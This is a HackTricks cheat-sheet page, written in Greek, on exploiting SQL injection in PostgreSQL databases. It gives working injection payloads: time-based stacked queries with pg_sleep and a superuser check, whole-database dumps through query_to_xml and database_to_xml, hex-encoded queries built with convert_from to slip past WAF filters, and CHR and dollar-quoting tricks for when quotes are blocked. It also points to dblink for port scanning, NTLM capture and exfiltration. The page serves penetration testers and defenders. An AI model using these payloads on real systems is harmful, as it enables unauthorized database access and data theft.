PostgreSQL injection

Reading time: 4 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Αυτή η σελίδα έχει σκοπό να εξηγήσει διάφορα κόλπα που θα μπορούσαν να σας βοηθήσουν να εκμεταλλευτείτε μια SQL injection που βρέθηκε σε μια βάση δεδομένων postgresql και να συμπληρώσετε τα κόλπα που μπορείτε να βρείτε στο https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration

Το PostgreSQL module dblink προσφέρει δυνατότητες για σύνδεση σε άλλες παρουσίες PostgreSQL και εκτέλεση TCP συνδέσεων. Αυτές οι δυνατότητες, σε συνδυασμό με τη λειτουργία COPY FROM, επιτρέπουν ενέργειες όπως η κλιμάκωση προνομίων, η σάρωση θυρών και η καταγραφή απαντήσεων προκλήσεων NTLM. Για λεπτομερείς μεθόδους εκτέλεσης αυτών των επιθέσεων, ελέγξτε πώς να perform these attacks.

Μπορείτε να διαβάσετε αυτό το παράδειγμα για να δείτε ένα παράδειγμα CTF του πώς να φορτώσετε δεδομένα μέσα σε μεγάλα αντικείμενα και στη συνέχεια να εξαγάγετε το περιεχόμενο των μεγάλων αντικειμένων μέσα στο όνομα χρήστη της συνάρτησης dblink_connect.

PostgreSQL Attacks: Read/write, RCE, privesc

Ελέγξτε πώς να συμβιβάσετε τον host και να κλιμακώσετε προνόμια από το PostgreSQL στο:

5432,5433 - Pentesting Postgresql

WAF bypass

PostgreSQL String functions

Η χειραγώγηση συμβολοσειρών θα μπορούσε να σας βοηθήσει να παρακάμψετε WAFs ή άλλους περιορισμούς.
Σε αυτή τη σελίδα μπορείτε να βρείτε μερικές χρήσιμες συναρτήσεις συμβολοσειρών.

Stacked Queries

Θυμηθείτε ότι το postgresql υποστηρίζει στοίβες ερωτημάτων, αλλά πολλές εφαρμογές θα ρίξουν ένα σφάλμα αν επιστραφούν 2 απαντήσεις όταν αναμένονται μόνο 1. Αλλά, μπορείτε ακόμα να εκμεταλλευτείτε τις στοίβες ερωτημάτων μέσω Time injection:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML tricks

query_to_xml

Αυτή η συνάρτηση θα επιστρέψει όλα τα δεδομένα σε μορφή XML σε ένα μόνο αρχείο. Είναι ιδανική αν θέλετε να εξάγετε πολλά δεδομένα σε μία μόνο γραμμή:

sql
SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Αυτή η συνάρτηση θα εξάγει ολόκληρη τη βάση δεδομένων σε μορφή XML σε μόλις 1 γραμμή (προσοχή αν η βάση δεδομένων είναι πολύ μεγάλη καθώς μπορεί να προκαλέσετε DoS ή ακόμα και στον δικό σας πελάτη):

sql
SELECT database_to_xml(true,true,'');

Strings in Hex

Αν μπορείτε να εκτελέσετε queries περνώντας τα μέσα σε μια συμβολοσειρά (για παράδειγμα χρησιμοποιώντας τη query_to_xml συνάρτηση). Μπορείτε να χρησιμοποιήσετε το convert_from για να περάσετε τη συμβολοσειρά ως hex και να παρακάμψετε τα φίλτρα με αυτόν τον τρόπο:

sql
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

Απαγορευμένα αποσπάσματα

Αν δεν μπορείτε να χρησιμοποιήσετε αποσπάσματα για το payload σας, μπορείτε να παρακάμψετε αυτό με το CHR για βασικές ρήτρες (η συγχώνευση χαρακτήρων λειτουργεί μόνο για βασικά ερωτήματα όπως SELECT, INSERT, DELETE, κ.λπ. Δεν λειτουργεί για όλες τις δηλώσεις SQL):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Ή με $. Αυτές οι ερωτήσεις επιστρέφουν τα ίδια αποτελέσματα:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks